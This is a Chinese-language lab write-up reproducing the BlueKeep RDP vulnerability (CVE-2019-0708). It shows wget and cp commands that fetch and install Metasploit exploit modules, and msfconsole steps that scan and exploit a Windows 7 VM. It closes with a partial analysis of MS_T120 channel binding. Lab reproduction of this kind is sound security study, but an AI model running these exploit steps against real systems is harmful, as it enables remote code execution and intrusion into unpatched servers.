2019-10-11

windows远程桌面漏洞(CVE-2019-0708)

文章目录

1. 前言
2. 复现环境
3. 准备过程
4. 复现步骤
5. 漏洞分析
6. 引用资料

前言

2019年5月15号Windows发布补丁，该补丁修复了远程桌面中存在的远程代码执行漏洞CVE-2019-0708，该漏洞通过检查用户的身份验证，绕过认证，可直接通过rdp协议进行连接并发送恶意代码。一旦被利用会导致服务器入侵，可造成像WannaCry永恒之蓝漏洞一样大规模的感染。

2019年9月7日上午。Metasploit在推特上发布消息称，Metasploit正式集成针对CVE-2019-0708（也称为BlueKeep）的漏洞利用模块。

注：本文的漏洞分析部分超出了我个人的能力，其全部来自于中文链接中的第一个网页。对于这个分析我也无法全部理解，如果您（看到这个文章的人）对此有什么个人见解，欢迎邮件和我讨论。

复现环境

攻击机：kali （IP: 192.168.40.131）

靶机：window7 旗舰版 (IP: 192.168.40.128)

准备过程

首先，我们更新一下kali中的msf模块（注，本文写成时msf已经更新至5.0，部分步骤可能不同）。

1	apt-get install metasploit-framework

更新后，我们下载漏洞的EXP：

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

下载EXP后，我们将其复制到MSF模块中

mkdir  -p /usr/share/metasploit-framework/modules/exploits/windows/rdp/

cp rdp.rb   /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb

cp rdp_scanner.rb   /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb

cp cve_2019_0708_bluekeep.rb  /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

cp cve_2019_0708_bluekeep_rce.rb   /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

确认windows已开启远程桌面服务（这里特别注意一下，win7只有旗舰版和企业版才有远程桌面服务，家庭版没有）

这里有一个坑，部分电脑这里只有远程协助却没有远程桌面选项，如果出现这种情况，首先确认你的win7是否是旗舰版或者企业版。如果版本没有问题的话，那可能是win7组策略设置导致没有远程桌面选项，我们需要修改组策略。

解决方法：开始-运行-gpedit.msc-计算机配置—–>管理模板—–>网络—–>网络连接—–>Windows防火墙—–>标准配置文件—–>Windows防火墙允许入站远程桌面例外更改为启用即可。

复现步骤

打开msf。

1	msfconsole

打开后加载以下刚才复制的EXP：

1	reload_all

载入后搜索0708，找到我们需要的EXP。

1	search 0708

这里可以看到有四个模块，我们需要第0个和第3个，标号为0的模块是一个探测对方是否存在0708漏洞的模块，而标号为3的模块是利用0708漏洞的模块。

接下来我们先探测一下靶机是否存在这个漏洞。

use 0

set rhosts 192.168.40.128

run

可以看到返回说这个目标非常脆弱，这意味着对象存在着0708漏洞，接下来我们用back指令返回，选择3号模块开始使用这个漏洞对目标进行渗透。

use 3

set rhosts 192.168.40.128

set target 3

这里特别注意一下，target有很多不同的选择，可以用show
targets查看。务必选择对应靶机的版本。

如果这里没有选择对应的版本的话，会出现直接让靶机蓝屏的情况。请务必多尝试几个不同的target。（反正我全部用完了都是蓝屏…..

这里出现了一些bug，我无论使用哪个target都是蓝屏，反复尝试过之后只能确定可能是靶机的问题。如果成功的话，会回弹一个shell，可以执行任意代码，且权限为root。

漏洞分析

Rdp基础

RDP 协议基于 T.128（T.120 协议族）提供多通道通信，并进行了拓展。

远程桌面协议（RDP）支持客户端建立点到点的连接,并定义了通信双方在虚拟通道间的数据通信方式，。这种虚拟通道为双向数据通道，可以扩展RDP的功能。Windows
Server 2000在RDP
v5.1中定义了32种静态虚拟通道（SVC），但是因为将来要定义的动态虚拟通道数量的限制，因此专用的通道svc数量受到一定限制。SVC是在会话开始时创建的，并在会话终止前保持不变，但DVC不同，因为它是根据用户需求来创建和删除的。

服务端在初始化阶段，会创建MS_T120, Index 为 31 的通道。在收到MCS Connect
Initial数据封包后进行通道创建和绑定操作。

在IcaBindVirtualChannels函数中进行绑定时，IcaFindChannelByName函数只根据通道名进行通道查找。当通道名为MS_T120(不区分大小写)时，会找到系统内部通道 MS_T120的通道并与之绑定，绑定后，通道索引会即被更改为新的通道索引。

参考mcafee,seebug

本人用win7sp1 x64进行测试

查看termdd.sys，有修改

对比补丁前后